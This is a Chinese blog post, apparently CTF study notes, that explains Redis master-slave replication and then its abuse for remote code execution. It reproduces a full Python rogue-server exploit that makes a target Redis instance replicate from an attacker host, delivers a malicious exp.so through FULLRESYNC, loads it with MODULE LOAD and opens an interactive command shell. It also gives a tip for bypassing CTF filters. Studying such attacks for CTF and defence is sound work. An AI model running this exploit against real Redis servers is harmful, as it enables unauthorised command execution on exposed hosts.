redis主从复制
redis主从复制
前言
开篇雷击,真要笑死我了.正好在写网鼎杯的ssrfme,学到redis主从复制,还在这纠结不懂,电脑右下角弹出来个框
(不知道什么时候加的免费课程,觉得这个课还不错,主要讲的挺高端的,而且最重要的是可以白嫖!)
切回正题,必得好好学一学
介绍
作用
- 数据冗余(热备份)
- 故障恢复(主节点出问题可以由从节点继续提供服务)
- 读写分离(主节点提供写服务,从节点提供读服务)
(其实我觉得整个下来有点hadoop分布集群内味儿了)
原理
主从复制是指将一台redis服务器的数据,复制到其他redis服务器.前者称为主节点,后者称为从节点,数据复制单向,只能由主节点到从节点
这也是redis从ssrf到rce的核心:
通过主从复制,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。
在全量复制过程中,恢复rdb文件,如果我们将rdb文件构造为恶意的exp.so,从节点即会自动生成,使得可以RCE
过程分为三个阶段:连接建立阶段\数据同步阶段\命令传播阶段
从节点执行slaveof命令后,复制过程开始,分为六个阶段:
- 保存主节点信息
- 主从建立socker链接
- 发送ping命令
- 权限验证
- 同步数据集
- 命令持续复制
问题
既然是异体机,跨主机就有可能数据存在各种问题
-
如果数据延迟,导致读写不一致.采用监控偏移量offset的思想,如果offset超出范围直接切换回主节点上
-
异步复制导致数据丢失的情况,要求主节点至少有n个从节点链接的时候才允许写入
-
从节点故障可以允许主节点配置高于从节点,依然可用
-
从节点断掉,主节点内存碎片率过高,redis提供debug reload的重启方式,在不影响主节点runid和offset情况下重启,同时避免消耗资源的全量复制
-
主节点宕机重启时,可以采用树状,将开销交给位于中间层的从节点,从而减轻主节点的消耗
启动
运行容器
拉取最新版本redis镜像
docker pull redis:latest
查看本地镜像
docker images
(出现redis latest即表明安装成功)
运行容器
docker run -itd --name redis-test -p 10000:6379 redis
查看运行状态
docker ps -a
进入容器
docker exec -it redis-test /bin/bash
连接redis
redis-cli
这里还要建一台机器,重复上述操作,改个名字和端口即可
主从复制启动
我们这里通过客户端命令方式开启从节点主从复制,redis服务器启动后,直接可短短输入命令
slaveof <masterip> <masterport>
此机器变成从节点
info replication
查看参数信息
可以看到设置成功,测试数据达到同步
加载恶意文件
自从Redis4.x之后redis新增了一个模块功能,Redis模块可以使用外部模块扩展Redis功能,以一定的速度实现新的Redis命令,并具有类似于核心内部可以完成的功能。
Redis模块是动态库,可以在启动时或使用MODULE LOAD
命令加载到Redis中
贴一下恶意.so文件编写地址
在这里膜一下r3kapig的师傅,tql
利用原理
上文中提到,主从复制会启用全量复制的方式将主节点的rdb文件同步到从节点,于是我们可以利用redis模块特性将恶意so文件上传至主节点,全量复制会帮我们同步到子节点上
建立rogue服务器
使用此项目下的rogue-server,目的是在同步过程中向redis发送我们的module load命令
设置从节点
slaveof <mastetip> <masterport>
设置redis数据库文件
CONFIG SET dbfilename exp.so
注意:如果某些ctf过滤了file字符串,可以采用二次编码方式绕过。且此处的exp.so不能包含路径
rogue server 接受回传
+FULLRESYNC <Z*40> 1\r\n$<len>\r\n<payload>
加载模块
MODULE LOAD ./exp.so
exp
贴上大佬的exp
import socket
import time
CRLF="\r\n"
payload=open("exp.so","rb").read()
exp_filename="exp.so"
def redis_format(arr):
global CRLF
global payload
redis_arr=arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len(x))+CRLF+x
cmd+=CRLF
return cmd
def redis_connect(rhost,rport):
sock=socket.socket()
sock.connect((rhost,rport))
return sock
def send(sock,cmd):
sock.send(redis_format(cmd))
print(sock.recv(1024).decode("utf-8"))
def interact_shell(sock):
flag=True
try:
while flag:
shell=raw_input("\033[1;32;40m[*]\033[0m ")
shell=shell.replace(" ","${IFS}")
if shell=="exit" or shell=="quit":
flag=False
else:
send(sock,"system.exec {}".format(shell))
except KeyboardInterrupt:
return
def RogueServer(lport):
global CRLF
global payload
flag=True
result=""
sock=socket.socket()
sock.bind(("0.0.0.0",lport))
sock.listen(10)
clientSock, address = sock.accept()
while flag:
data = clientSock.recv(1024)
if "PING" in data:
result="+PONG"+CRLF
clientSock.send(result)
flag=True
elif "REPLCONF" in data:
result="+OK"+CRLF
clientSock.send(result)
flag=True
elif "PSYNC" in data or "SYNC" in data:
result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF
result += "$" + str(len(payload)) + CRLF
result = result.encode()
result += payload
result += CRLF
clientSock.send(result)
flag=False
if __name__=="__main__":
lhost="192.168.163.132"
lport=6666
rhost="192.168.163.128"
rport=6379
passwd=""
redis_sock=redis_connect(rhost,rport)
if passwd:
send(redis_sock,"AUTH {}".format(passwd))
send(redis_sock,"SLAVEOF {} {}".format(lhost,lport))
send(redis_sock,"config set dbfilename {}".format(exp_filename))
time.sleep(2)
RogueServer(lport)
send(redis_sock,"MODULE LOAD ./{}".format(exp_filename))
interact_shell(redis_sock)
演示
运行redis服务
redis-test: 172.17.0.2
redis-test2:172.17.0.3
开启主从复制
运行rogue server
python redis-rogue-server.py --rhost 172.17.0.3 --lhost 172.17.0.1
因为我这里是默认直接启动的,没有设置redis.conf中关闭安全限制,所以并没有连上,实际中只要其关闭安全限制,暴露在外网中即可getshell